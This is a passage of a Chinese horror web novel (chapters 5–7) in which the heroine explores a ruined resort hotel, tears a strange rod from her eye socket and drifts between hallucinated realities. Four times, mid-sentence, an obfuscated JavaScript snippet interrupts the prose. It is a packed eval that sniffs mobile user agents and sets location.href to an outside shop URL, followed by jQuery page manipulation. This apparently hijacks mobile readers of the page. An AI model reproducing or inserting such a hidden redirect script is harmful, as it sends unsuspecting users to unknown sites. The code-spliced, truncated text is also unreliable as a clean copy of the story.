偏偏这时安燃还在鸭子叫的指使两人这没翻那没翻的,时序直起身体幽幽盯着安燃,安燃偃旗息鼓,却还是小声说:“前台的黑盒子你们还没翻呢……” 时序本能向安燃指的方向看去。 一台电脑好端端的立在前台桌子上,大理石材质的长桌坑坑洼洼,还有一片片发黑的污渍,一片废墟中有个完好无缺甚至还连着电源线的电脑,怎么想都很诡异。 更何况她和晏清从始至终都没注意到这台电脑。 安燃说完自己都愣了下,眼神迷茫,“这里……刚才有这玩意?” 时序垂下眼眸,安燃不认识电脑,他没见过。 或许晏清也没有。 电脑黑洞洞的屏幕上反射出带着头盔的时序,右下方是她熟悉的电源键,屏幕旁边的长方体黑盒子是机箱。 她按下油然而生的荒诞感,指着机箱反问,“这有没有可能是应急设备?” 晏清:“不太可能。” 两位调查员的目光倏然转向晏清,晏清不自然的撇过眼神,不愿意与两人目光相接。 “应急设备是放在用特殊材质制成的箱子里的,箱子会隔绝高浓度异化粒子的污染。” 时序瞬间发现不对劲,“隔绝污染?难道中心早就知道这是高级异化物的巢穴?” 晏清跟她一样是新人,为什么会知道这些? 范星火说过执行科的培训时间是一年,难道是在这一年时间里学到的? 时序总觉得哪里不对劲。 晏清抿唇,可隔着头盔看不到。 “本次调查任务其实是调查异化物巢穴有无发生异变,这是一个空巢,异化物已经被消灭了,应该不会有危险。”晏清说。 毕竟来来回回每一波新人都会到这里来,然后平平安安的回去。 时序低头思考,晏清的话听起来没什么逻辑上的漏洞,为了让新人尽快上岗熟悉工作,带新人来到一个没有异化物却仍能维持的巢穴,既可以最大程度上保证新人的安全,还可以提前进入工作状态。 还是感觉不对劲,时序垂眸,只是眼下也没更好的办法,终端没有信号,她们必须找到应急设备发求救信号。 还是先搜集情报,时序看了眼不远处的晏清和安燃,安燃还好说,主要是晏清…… 时序抬头看面前的电脑,突然伸手按下主机上的电源开关。 安燃被她吓一跳,顿时跳起来,“我的姐你别乱动啊!万一这是个炸弹呢!” 时序忍不住在头盔里翻白眼,她连解释都不愿,定定盯着屏幕看,安燃一嗓子讨了个没趣,眼见没异动发生,大着胆子凑过来。 开机界面的图标是她很熟悉的win系统,她悬着的心略微放下,看来这个世界也没有先进很多,总归有她熟悉的东西。 “这……是终端?怎么这么大的,我还以为旁边的黑盒子是炸药呢,吓死我了!”安燃又在发表高见。 “你没见过?”时序转头问。 安燃看她,“你怎么老问我见没见过啊,这玩意只要是个人都没见过好吧,难道是应急设备?” 时序转过身面对电脑,安燃的一番话直接把她开除人籍,在她的世界,计算机已然是随处可见的存在,她不但见过,还每天都在使用。 一旁不吭声的晏清突然开口,“开机了。” 进系统了。 电脑桌面密密麻麻的全是各种文档表格,晃的时序眼睛疼,安燃和晏清也凑近了些,时序眯着眼睛打开名为【每日记录】的文件夹,里面足足有上百个文档,她右键点击属性,最早的一个文档建立时间显示为2020年6月19日。 安燃自然也看到了,他咂咂嘴,“啧,是老古董啊,怪不得没见过呢!” “时序你居然会用这玩意,厉害的。”安燃竖起大拇指,“看来这不是应急设备了,诶晏清姐,你知道应急设备放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751437|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里不?你好像知道的比我们俩多多了。” 时序自顾自打开文档,主机嗡嗡作响,打开最简单的文档似乎都不堪重负,三人足足等了两分钟,文档才被打开。 时序一目十行的看完,这是第一篇文档,也是时间最久远的,是酒店第一天的营业状况,大部分都是没用的信息,唯有一句话引起时序注意。 【最近奇怪的人越来越多,酒店的心理咨询室第一天就爆满,老板动了歪心思当天下午宣布收费,一小时一千块,没想到还是有这么多人……如果咨询室的营业额能分给我们就好了……】 是写在空白页上的,大概是记录人写完后忘记删除。 时序飞速划过只写着一行字的空白界面,凑过来的两人没看清。 她迅速的挑选几个日期的文档打开,除了日期内容没有任何改动,空白界面再也没出现过工作人员的随笔,安燃看了两分钟便觉得没意思,轻轻跃到坑洼的大理石桌上坐着,晏清看了几份雷同文档转身检查桌下的柜子。 只有时序还在看。 她很有耐心,一直看到2021年6月13号,倒数第七份文档,本以为这份文档不会有什么不同,然而打开便发现完全不对。 无论内容格式,都有了巨大的变化,文档里面的表格被蝇头小字挤得满满当当,原先只有一页的表格被挤到变形,整整多了三页,时序不得不放大百分比,才能看清字体。 简单来说,酒店发生了异变。 最先产生变化的是度假村的游客,游客们经常分不清白天黑夜,伴随着的是各种幻觉,看心理医生的人源源不断的增加,产生药物依赖的人也越来越多,直至发生第一起杀人事件。 鲨人时间发生在酒店大堂,一位男性游客突然掏出菜刀砍掉同伴的脑袋,安静过后便是疯狂逃窜的人,记录员尽管害怕,还是强撑着躲在桌下报警。 警察来了后,男子站在血泊中,鲜血浸满夏威夷衬衫,脸上也有喷溅的血点,男子提着同伴的头很困惑,“警官同志,杀鱼也犯法吗?我从来没见过这么大的金枪鱼,而且血这么热,好奇怪啊,金枪鱼的血是热的吗?” 令人不寒而栗。 最后男子被带走了,但幻觉仿佛会传染似的,大堂又发生了十几起杀人事件,每个人都说看见好大一条金枪鱼,于是就杀掉了。 【今天共计发生26起恶性事件,全部都是把人当成可以吃的鱼来杀,其中一个人甚至把人片成一片一片的说要吃松鼠鱼,或许他们真的在杀鱼也说不定,听说金枪鱼刺身很好吃,新鲜鱼肉不用烹饪直接就能吃,好羡慕啊……】 记录员时而清醒的说自己写了遗书,放在更衣室的柜子里希望有人能带走,时而疯癫的说人杀鱼吃鱼有什么不对,警察都是恶人,连人吃鱼的权利都要剥夺。 时序打开最后一份文档。 一片空白。 她关掉文件夹,电脑所有文件大概都被中心研究透彻,她能发现的东西,中心只能比她发现更早。 所以……她转过头默默看着晏清,心里了然,晏清,绝对隐瞒了什么。 5. 欢迎来到 夏夜沙滩(五) 【激活主线任务:找出度假村真相,限时:24小时。】 沉寂已久的电子合成音响起,伴随着的是右眼的剧痛,时序本能的伸手想捂眼,头盔隔绝了她的动作。 “时序你怎么了?头疼?”安燃最先发现时序的异常。 右眼传来火辣辣的胀痛,她感觉眼珠一点点顶起眼罩,固定眼罩的绳子缓慢勒紧她的后脑,前后夹击痛的时序难以思考,她深深喘着气,声音断断续续,“我……没事。” 还好有头盔,安燃他们看不见。 “我去找找看附近有没有卫生间。”时序指了指大堂电梯旁边的楼梯间,上面的标识破破烂烂,勉强能看出标识。 安燃大大咧咧的,“嗐你直接尿防护服里不就得了,反正有循环装置,你看我刚吐的现在都没了,况且这里是巢穴,我们最好不要分开。” 时序低头看了看防护服,摇头,“过不去心里那关,我先去看看,实在不行再照你说的办。” 但凡是个生理功能正常的成年人,都不会主动选择尿裤子吧! 安燃还是不放心,他看向晏清,“姐,你也跟我想的一样吧?咱们最好不要分开,诶呀,放心吧时序,我打包票,绝对看不出来。” 时序不想理她,转而看着晏清。 晏清沉默几秒钟,低着头低声说:“快去快回。” 看来她也没法接受尿裤子。 时序快步流星走向楼梯间,这么一会的功夫,右眼已经把眼罩顶开一大块,绳子传来不堪负重的声音,马上就要断了。 等拐到安燃他们看不到的地方,她从快步变成小跑,昏暗的楼梯间拐角,卫生间的门就在那里。 她顾不得太多,径直冲进去,用最后的理智把一把拽出门后腐烂的拖布定在门上,至少能保证安燃他们没法马上打开门进来。 有所隐瞒的同伴,或许比异化物更可怕。 卫生间洗手台的整面墙都是镜子,她想解开头盔,可头盔跟防护服几乎是一体的,脖颈有有好几道锁,她硬扯了下没扯开,慌忙打开终端找笔记,期间右眼开始有湿热的液体流下,时序不想去想是什么。 折腾两三分钟终于把头盔扯下来,时序把头盔夹在腋下,另一只手伸到后脑粗鲁的勾下眼罩,她的呼吸越发急促,解下眼罩后,她抬头面向镜子。 “这是……什么?”时序望着镜子喃喃自语,太过震惊以至于有一秒钟她忘记疼痛。 她凑近看了看。 右眼眼眶黑洞洞的,根本没有眼珠,凸出来的是一截黑色棍状物,棍状物通体黑色,上面隐隐有红色的闪光花纹,此时正一点一点往外延伸。 突出的部分足足有五六厘米,并且还在向外生长。 铺天盖地的疼痛让她几乎无法呼吸,鲜红的血液顺着空洞的眼眶蜿蜒而下,像是一股股血色的眼泪,浸湿她的右半张脸。 【倒计时:还有23小时57分钟。】电子音冰冷无情的声音回荡在她的大脑。 时序双手撑着洗手台急促喘息,大概是习惯疼痛,她脑子没那么混沌了。 血液滴到洗手台,像是在倒计时。 她眨眨完好的左眼,镜子里的她跟着眨。 时序龇牙咧嘴的做了几个表情,镜子里的她跟着做。 左半边脸完好,右半边脸从颧骨上方到额头都是黑洞洞的,棍状物代替了她的眼睛,她凑近看,看不到任何器官。 【倒计时:23小时56分,请尽快行动。】 时序撩起额前的碎发,镜子里的人影这次没有照做,而是诡笑着伸手拔出右眼的棍状物。 【污染值:1%】 这是什么?为什么镜子里的影子会自己动?时序低下头,她的左眼稍微动一下就能看到右眼的棍状物。 污染值?这是污染?对,这肯定是污染!她看到的是幻觉! 时序胸口剧烈起伏,鲜血顺着鼻尖流下,鬼使神差的,她抬头死死盯着镜子里的人影。 嘴角咧到最大,她无声大笑着,露出洁白整齐的八颗牙齿,血液顺着脸颊流入嘴角,红色很快占领她的口腔,整洁漂亮的白色牙齿渐渐沾满血污。 比镜子里的人看上去还要恐怖诡异。 只可惜镜子里的人再也没有跟她做出不一样的动作。 时序一拳打碎镜子,倒映在镜中的她随着镜子的裂缝被分割成无数份,方才的胀痛消失大半,时序恍恍惚惚的想,应该是肾上腺素发挥作用了。 终端滴滴直响,打断她的狂乱状态,时序敛起笑容,左眼斜眼瞥终端,是安燃。 她抹掉鼻尖上的血液,按掉终端,挺直脊背,伸手摸向棍状物。 指间一直颤抖着,她克制着收回手的冲动,用尽力气驱使手指一点一点伸过去,时间被无限拉长,短短的几秒钟她竟感觉过了几年。 指尖触摸到的一瞬间,棍状物冰冷的触感透过手套传达给时序,她呼吸不再急促,反而平稳下来,卫生间鸦雀无声,只有她的心跳声,和门外越来越近的脚步声。 跟安燃拖沓的脚步声不同,来寻她的人脚步轻盈,既然不是安燃,那就只能是—— 晏清。 没有时间让她思考了,肾上腺素的事件是有限的,时序将呼吸放的更轻,她不再犹豫,抓住棍状物,使劲往外拔。 巨量的鲜血瞬时喷涌而出染红白瓷洗手台,皮肉撕扯的声音混合着难以言说的痛让她意识空白,她本能克制住喉咙里的尖叫,腿软的她倚着洗手台才不至于倒下。 痛,太痛了,好想不顾一切放声尖叫。 时序忍着失血过多带来的晕眩,张开手掌用仅有的左眼低头观察着棍状物,尽管她流了很多血,可一丝一毫都没有污染到棍状物。 【宿主使用了钥匙,即将展开传送立场,3,2,1——】 棍状物上红色的刻纹散发诡异的光,刹那间海蓝色的立场展开,迅速延伸至整个度假村,时序头晕目眩软趴趴的靠在洗手台,她已经没有力气抵抗了。 时序原地消失。 在她消失的同时,晏清捏住门把手的动作戛然而止,缓慢上升的水泡仿佛被定格一般,时间定格在时序消失的这一秒钟,唯有桌上的计算机,不停闪烁着光芒。 …… 这是哪里?时序睁开眼,陌生而华丽的天花板让她怔楞好几秒。 怔楞过后她摸向右眼,没有任何异常,她尝试着睁眼,眼睛能正常睁开,过长的睫毛扫的她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751438|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌发痒。 肌肤跟柔软的被子摩擦着,身下的床垫令她发出舒服的喟叹,她翻了个身从床上坐起来,上一秒她还在脏乱的废旧厕所,只眨眼的功夫,她躺在豪华酒店舒服的床上,身上的防护服和头盔都不见了。 她穿好拖鞋踮着脚走到卫生间,洗手台有镜子,她洗了把脸,抬头看向镜子里的自己。 镜子里的她,有着她熟悉的长相,过肩的黑发绑成一根麻花辫梳在脑后,右眼紧闭着。 时序皱眉,控制着掀开右眼的眼皮。 映入眼帘的是正常的、彩色的世界。 只是……她的右眼跟左眼不一样,不是正常人类拥有的深色瞳孔,而是从眼球边缘开始,蔓延至整个眼球的,一圈又一圈,有无数的圆圈,她盯着镜子里的右眼愣神,眼前的世界逐渐变化,彩色的世界一点点分崩离析像漫画一样变成黑白,最后一根根黑色线条出现在视野里。 耳边不再安静,尖锐的噪声戳破她的耳膜,时序口鼻不住流血,流下的血液又变成螺旋状的旋涡,蜿蜒着流进下水道。 【污染值10%,请宿主对右眼进行遮蔽。】电子音断断续续的,时序闭上右眼,飞速从架子上拿过毛巾盖到右眼上。 世界瞬间恢复正常,耳鸣现象消失,她垂头怔怔看着面盆,里面什么都没有,旋涡状的血液似乎只是幻觉。 【倒计时23小时50分钟,请宿主加快进度。】合成音无情的提醒,时序没理会,把毛巾撕开做成简易眼罩,然后走出卫生间。 “时序你怎么还没好呀?昨晚不是说好了早起去看海吗?”房间多了个人,就坐在她刚躺过的床上,坐着的人看到她立马起身迎接,“诶你眼睛怎么了?” “没事,过敏了。”时序挡开来人伸过来想要摸她眼罩的手,淡淡说道。 来人没计较,大大咧咧的原地转了一圈,“嘿嘿嘿,我的新裙子好看吗?今天不是要去海边玩嘛,我特意换上的。” 时序苍白的脸挤出笑容,敷衍点头,“好看。” 周雨诗嘟起嘴,“喂,时序你到底怎么回事呀?从昨晚开始就不对劲,把自己关到房间里不跟我们一起参加篝火晚会,再有一个月我们就各奔东西上大学了,大家看你不开心才好心叫你的,就算要装,拜托你也要装的像点样子吧!” “你脸色这么苍白,是不是不舒服啊?不想去的话,我不勉强你,你好好休息。” 时序一把拽住周雨诗的胳膊,“我昨晚有点水土不服,现在好多了,等我换身衣服。” 她想起来了,高考填完志愿,班里关系过得去的同学邀请她来周边城市新开的海岛度假村,她对酒店结构很感兴趣,所以才同意过来。 周雨诗转过身,担心地看着她,“你脸色真的好白,要不要去附近诊所看看?” “不用。” 时序拒绝,她的右眼绝对不能让人看到,本以为只存在动画片里的【以眼杀人】,竟然出现在她身上,她嘴角浮起苦笑,尽管回到所在的世界,身体却实打实发生了可怕的变化。 “那你快点吧,大家都在大堂等你呢。”周雨诗最后看她一眼,关上房间门下楼等她。 咔哒一声,豪华套房只剩她一人。 6. 欢迎来到 夏夜沙滩(六) 时序独自理了理思路,她回到十八岁上大学之前,跟高中同学出来旅游的那个夏天。 一般来讲她应该印象深刻,可直到再度经历,她恍然发现这场意义非凡的旅行,她没有印象。 她真的有这段经历吗?绞尽脑汁回忆了一番,她开始怀疑起真实性来。 可周诗雨是那么的真实鲜活,难道她也是假的吗? 时序按下心思,抽出房卡关门坐电梯下楼。 她住的房间在最顶层,有个小阳台,能俯瞰到整片度假村海滩。 每当太阳落山时,整片海滩会被夕阳的红光照耀整体呈现出粉红色,因此也被称为粉红沙滩,夕阳时分,很适合情侣在沙滩边散步。 现在是早上七点,按照周诗雨跟她讲的,今天他们要跟导游去山顶坐观光缆车,然后去海边渔村吃午饭。 时序觉得这计划挺无聊的,但下楼后她远远看到大堂等着她的同伴都很兴奋,时序勉强挤出笑容,让自己看起来不会那么不合群。 “时序你还好吧?诗雨说你不舒服。”为首的女同学问她。 时序摇头,“班长我没事,你们吃早餐了吗?” “我们都吃完了,诗雨给你带了些,怕你肚子不舒服,给你带了粥和面包。”班长说着皱起眉头,“诗雨呢,时序下来了,怎么她又不见了?” “周诗雨去洗手间啦。”另一位女生开口,时序环视一圈,加上不在的周诗雨一共六人,四个女生两个男生,两个男生距离她们稍远,显然不是很想跟她们在一块。 “班长,刚吃饭时听人说渔村那边有不好的传言,要不咱们就不要去了吧……”其中一个女生站出来弱弱地说。 班长皱眉,嘴角垂下不是很高兴的样子,不过还是问了句,“什么传言?” 女生瑟缩一下,手指不自觉抽动,时序视线低垂,默默走过去。 “我听……听说啊,渔村那边有跟人一样大的金枪鱼,有游客吃了渔村的金枪鱼刺身,皮肤变得跟鱼皮一样。”女孩说着说着压低声调,听的人浑身发冷。 金枪鱼?时序突然想起酒店的大堂记录也出现过把人当成金枪鱼,一刀去头的事件。 这两件事有什么关联吗?她这么想着,往前迈了一步挡到女孩前面,“班长,我们的旅行计划最开始好像没有去渔村的行程。” 班长阴沉着脸,瞪了眼远远的两个男生,“他们说渔村很好玩,现在刚刚开海,我们可以去赶海,赶海的海鲜免费吃。” 时序拧眉,不认同这个说辞,“既然说了不对劲,那我们还是不要去了。” 远远的两个男生吊儿郎当走过来,径直怼时序,“时序你从我们定行程就在说风凉话,怎么现在装都不装了直接都不让去?凭什么听你的?没听班长说海鲜免费吃吗?” 时序背后的女孩没想到她的一句话会引起这么大的骚动,连忙站出来结结巴巴的解释,“那……那只是传言不一定是真的,时序,咱们还是一起去玩玩吧……” 说到后面语气近乎哀求。 时序抿唇,不再言语,周诗雨从洗手间回来,看到的便是几个人明明站在一处,却谁也不搭理谁的场景。 “诶怎么回事啊,观光车来了你们不走的?”周诗雨顺手把早点塞给时序,走到班长身边,班长看到周诗雨,一点好脸色没有,“你非得带她过来,破坏团结。” 破坏团结的,显然说的是时序。 周诗雨转头飞速看了眼时序,时序在几米开外,应该听不见她们的对话。 “是我带过来的又怎样,时序她沉着冷静,虽然话少,但绝对不会做破坏团结的事。”周诗雨斩钉截铁的说。 都是年轻人,没什么过不去的,班长这时没那么生气了,正好就着周诗雨的台阶下,“行了知道了,走吧,我可不是关心她怕她考砸想不开才同意你带她过来的,我是觉得试胆大会能派上用场才让她来的。” 周诗雨连连点头,几个人重新集合,坐上同一班观光车往渔村去。 观光车一辆接着一辆,每一辆几乎都是满员,车上不乏跟她们一样趁着假期过来玩的,时序是周诗雨带来的,两人自然而然的坐一块。 “你报的什么专业啊?”等时序慢吞吞的吃完饭团,周诗雨小声问她。 时序擦擦嘴,“临床医学。” 周诗雨惊了,“你怎么报这个专业啊,要学五年的你知道吗?” 时序瞥她,周诗雨立刻捂住嘴,几秒钟后,她还是忍不住,只是尽量压低声音,“你前几天不是还说学金融好赚钱,怎么突然改志愿?” 时序微微拧眉,心里涌起一阵烦躁。 “学医也能赚钱,以后出国读研,在国外当医生。”对方是周诗雨,她压下烦躁解释,同时心中涌上一个疑问: 为什么即使太阳已经升起,这片沙滩看上去还是粉色的? 她抬手摸向右眼,眼罩阻隔了她窥探的心思,脑子里的电子音跟死了似的,除了倒计时似乎不会说别的话。 探明世界真相? 她要怎么探明?莫名其妙到未知的世界,又莫名其妙回到两年前高中毕业,右眼多了根柱状体,脑子里还有个计时器。 是去报警警察都会转手扭送精神病院的故事呢。 时序幽幽叹气,一时间千头万绪,她不知从何抓起。 坐她旁边的周诗雨在时序埋头沉思的间隙看向对方,眼神中带着些许探究,她是同行成员中跟时序认识时间最长的,时序虽然表现的跟平时没什么不同,可周诗雨总觉得哪里不对劲,她看着时序略显冷淡的侧脸,想问又不知怎么开口。 “诗雨,”时序突然转头。 周诗雨吓一跳连忙移开视线,“怎……怎么了?” 时序指指周诗雨左边,“你看外面。” 周诗雨顺着时序指的方向看过去,“我靠?” 观光车正沿着盘山公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751439|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路行驶,这会已然到半山腰间的弯道,正好能看到沙滩以及她们住的度假村豪华酒店。 酒店建在半山腰的山窝与山顶间,外部看上去像堆叠错乱的俄罗斯方块,时序手搭凉棚眯着眼看一点点被楼宇轮廓蚕食的太阳,最后一缕阳光照射着时序的脸, “哇,好壮观,你说设计酒店的人是怎么想的呀!”周诗雨被早间的阳光晒得睁不开眼,学着时序手搭凉棚对即将闪过去的酒店发出感叹。 盘踞在半山腰蜿蜒到山顶的阶梯型巨型酒店,确实挺壮观的。 尤其是酒店大堂,整个空间被打通,左右两边各有螺旋式阶梯,包裹着电梯直到顶楼,透明的阶梯一眼看上去有种摇摇欲坠之感。 确实挺鬼斧神工的,时序赞同周诗雨的想法。 观光车拐过一道急弯,刚只能惊鸿一瞥的景色顿时豁然开朗,周诗雨兴奋的拽着时序的袖子摇晃,时序身躯左摇右摆,恍惚间她有种真的回到过去的感觉。 她眨眨眼,右眼粗粝的纱布触感将她拉回现实。 她手抵着扶手随着观光车的人流下车走到景观台,笑死,她根本不能确定她到底身处何处。 “切,有什么好看的,我还是更想吃又新鲜、又免费的海鲜。”几人聚到一块后,裴宣直勾勾看着时序说。 裴宣正是刚才两个男生中的一个。 时序瞥了眼裴宣,眼前的男生上半身遍布像马赛克一样的东西,声音也断断续续的,时而电子音时而变成走调的合成低音。 渐渐地所有人都变成马赛克,时序一动不动,她难以置信地眨了下眼睛,眼前却是破旧的面盆,面盆上的水龙头开着,涓细的黑色水流呈螺旋状沿着面盆游走,而水龙头的两旁,则是一双踮着脚的黑色作战靴。 时序缓慢地抬头,顺着作战靴往上看,对方穿着和她一样的连体作战服,双臂无力地垂下,整个人吊在空中微微晃动着,时序连呼吸都不敢太用力,面盆正上方的天花板有个巨大的洞,根本没有可以让眼前的【尸体】吊起来的地方。 她动作极为迟缓地往后退了半步,脚后跟刚贴到地面,【尸体】的脖颈突然咔哒一声歪了下,紧接着脑袋连带着头盔整个掉下来,砰的一声重重地砸在时序脚边。 尽管脑袋掉了,【尸体】仍然耷拉着双手飘在空中,时序摸了下自己的头,头盔好好地戴在头上。 她又看向门口,关门前用来抵门的烂拖布不见了,周围很安静,只有隐隐约约上方传来的风声。她记得当时晏清就在门口,而现在她的头盔既没被摘掉,晏清也没来敲门,反而她的面前多了具漂浮着的【尸体】。 难道时间回溯了?时序像踢足球似的踢脚边的头盔,一边思索。 头盔被她换了个方向,头盔里面空荡荡的,没有脑袋。 时序皱眉,她很确定头盔掉下来的时候里面是有东西的。 【倒计时:23小时57分钟,请宿主尽快行动。】 7. 欢迎来到 夏夜沙滩(七) 时序头一次觉得电子音也能如此的让她倍感亲切。 她放下疑惑,看来时间确实回溯了,她回到了七分钟前,也就是刚进卫生间的时候。 低头最后看一眼头盔,时序转身打算离开卫生间。 …… “时序你说话啊?!哈哈哈怎么跟傻子似的?”裴宣开口嘲笑。 时序回过神,发现自己正站在沙滩上,正伸手做出开门的动作,她收回手,面无表情的脸头一次产生明显的困惑表情。 裴宣笑得更欢了,“时序,你就别装了,明明就想跟我们一起去赶海,还非得别别扭扭的,等我们一起哄你啊?” “还是说……”裴宣笑容变得猥琐,“还是说你想让谁哄你?” 时序抿唇不语,打开门看到的不是废弃酒店,而是又回到这里,这明显不是所谓的时间回溯了。 她没有理会裴宣的话环顾四周,太阳高高的挂在天空中,时间大概已经到了中午,而她们已经不在观景台,看着周诗雨手里挎着的红色小桶,她们在赶海。 “你就别说了!心知肚明就好说出来干嘛?”周诗雨走到裴宣面前,声音矫揉造作。 接着两人竟然旁若无人的卿卿我我起来。 时序眼睛眨也不眨地盯着两人,裴宣和周诗雨被她盯得发毛,尤其是裴宣,啐了两句便搂着周诗雨往海滩上的礁石走去。 看似所有的一切都正常,可每件事都不正常。 时序感觉自己正在玩大家来找茬。 “到底怎么回事……”她不禁喃喃自语,在她自言自语垂眸的一瞬间,她没注意到场景变换,当她抬眼,她回到了自己家。 她坐在餐桌前,眼前透明玻璃杯里的热水正散发着袅袅热气,她侧过头看向窗外,除了窗台正中间的一盆绿植,出现在她眼前的是一轮近在咫尺巨大无比的月亮。 距离近到甚至可以看到月球上的陨石坑。 时序尝试触碰身前冒着热气的透明玻璃杯,就在指尖即将接触到杯子时,她动作停滞,笨拙地站起来想要找手套。 万一杯子有污染呢?她不能直接用皮肤触碰,太危险了。 【倒计时:23小时57分钟,请宿主尽快行动。】 时序眼神失焦,她记得终端里的培训备忘录里写过,高等级异化物的巢穴就是会发生各种各样的诡异事情,只要她保持—— 保持—— 保持什么? 眼前的餐桌不见了,废弃酒店卫生间里漂浮着的尸体不见了,周诗雨她们也不见了,时序对着破碎的镜子,镜子里的她正一手夹着头盔,一手捂着右眼,她的右半边脸满是鲜血,黑色柱状体透过指缝一点点钻出她空洞的眼眶。 无数个时序在镜子碎片里,有穿防护服的,有不穿防护服的,还有她看不清晰的。 这些都是她?每一个都是吗? 耳边恍惚响起钟表走字的声响,时序思维错乱,眼前的场景不断变换,她有些分不清自己现在在哪里,她在镜子里,镜子里的人是她。 【倒计时:23小时57分钟,请宿主尽快行动。】 【倒计时:999小时,请宿主尽快行动。】 【倒计时:23小时57分钟59秒,请宿主尽快行动。】 右眼柱状体冰冷的触感突然让她一个激灵,钟表声转变成刺耳的白噪音在时序脑中嗡嗡响,她倒吸一口冷气,下意识松开捂住眼的手。 “不一样……27分59秒……”时序双手撑着面盆大口喘气,眼中的柱状体哐当一声掉落,断片的思维接续上,对,她要保持冷静。 时序慢慢蹲下,捡起掉落的柱状体,再起身后,她佝偻着背,把柱状体放到面盆附近相对干净的地方,接着她伸展双臂缓缓上抬,用戴着黑色手套的手揪住眼罩两端的绳子,试图把眼罩系上—— “时序,你今天怎么一直不对劲?”周诗雨疑惑的话冷不丁打断她的动作。 “……”时序收回手,周诗雨移开眼神,手指着时序,“你先把裤子提上。” 时序低头,默默提上裤子,按下冲水键从卫生间出来,周诗雨立马扶她一把,面上担忧:“时序,你要不回酒店休息休息吧,这一路上你……” 她欲言又止。 时序勉强笑笑:“我怎么了?” 此刻卫生间没什么人,周诗雨还是压低声音说:“咱们不是坐观光车去渔村博物馆嘛,你本来在后面坐的好好的,等观光车停下来后你突然冲到驾驶位把司机拖下来,自己坐上去把车开走了。” “……”她刚才不是在家里举着杯子准备喝水吗? 周诗雨穿着一身海岛风的花衬衫和短裤,时序没当回事,一边思考一边随口问道:“你早晨不是穿的裙子吗?什么时候换的?” 周诗雨低头看看身上衣服,脸上更困惑了,“我什么时候穿裙子了?我从来都不穿裙子啊时序。” “对,诗雨你说得对。”时序点头赞同,她素着脸挣脱周诗雨扶她的手臂,率先往卫生间外走。 周诗雨跟在后面:“唉时序你到底怎么了?” 时序心很累,她隐隐有个想法,可跟周诗雨讲的话,周诗雨大概率是不会相信的。 两人走出卫生间,观光车在外面等待,看到时序出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751440|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,大部分人脸色都不太好看,尤其是被时序硬生生拖出车的司机大叔。 “哟,时序出来啦!”泡面头裴宣起哄,班长沐白扶了扶眼镜主动走到时序身边: “时序,你是不是身体不舒服?正好渔村这边可以休息,晚上的行程,要不你就别去了。” 按照行程,她们要在渔村民宿住一晚,明早返回宾馆,这趟海岛之旅差不多就结束了。 时序微微低头,晚上的行程?晚上还有什么行程? 班长跟时序身边的周诗雨对视一眼,对时序说:“时序,你不会是,不知道晚上还有什么活动吧?” 气氛略微凝固,时序闭着眼,混乱的记忆充斥着她的脑袋,她分不清真假,周诗雨喜欢穿裙子,而眼前的周诗雨不穿裙子,应该是假的吧。 “晚上的活动很重要吗?为什么都这么看我?”时序闭着右眼,眉头紧皱,张口语气很冲。 “……”周诗雨一把拉过时序往民宿走,“班长,我晚上不参加了,我要照顾时序,她可能晕车还没缓过劲来。” 晕车?晕这四面透风的观光车? 沐白看看身后的其他同伴,果断同意,少两个刺头,何乐而不为。 其他人坐观光车走了。 周诗雨连拖带拽把时序拽上楼,找到她们的房间,时序跟失了魂一样,不停小声念叨着【27分59秒】、【999个小时】之类的。 比起意义不明的时间,她更在意的是时序为什么要一直闭着或捂着完好的右眼。 明明早晨还好好的。 “时序,你告诉我到底哪里不舒服?你真的很难受的话我跟沐白说一下咱们提前回去,从今天中午开始你就一直不对劲,到底怎么了啊?”周诗雨说着语带哭腔,她跟时序从小一起长大,从来没见过时序这么崩溃的模样。 时序还在喃喃自语: “晏清……我在卫生间……” “范星火他,头掉了。” “金枪鱼,跟人一样大的金枪鱼……” “诗雨,你怎么不穿裙子……诗雨你怎么……” 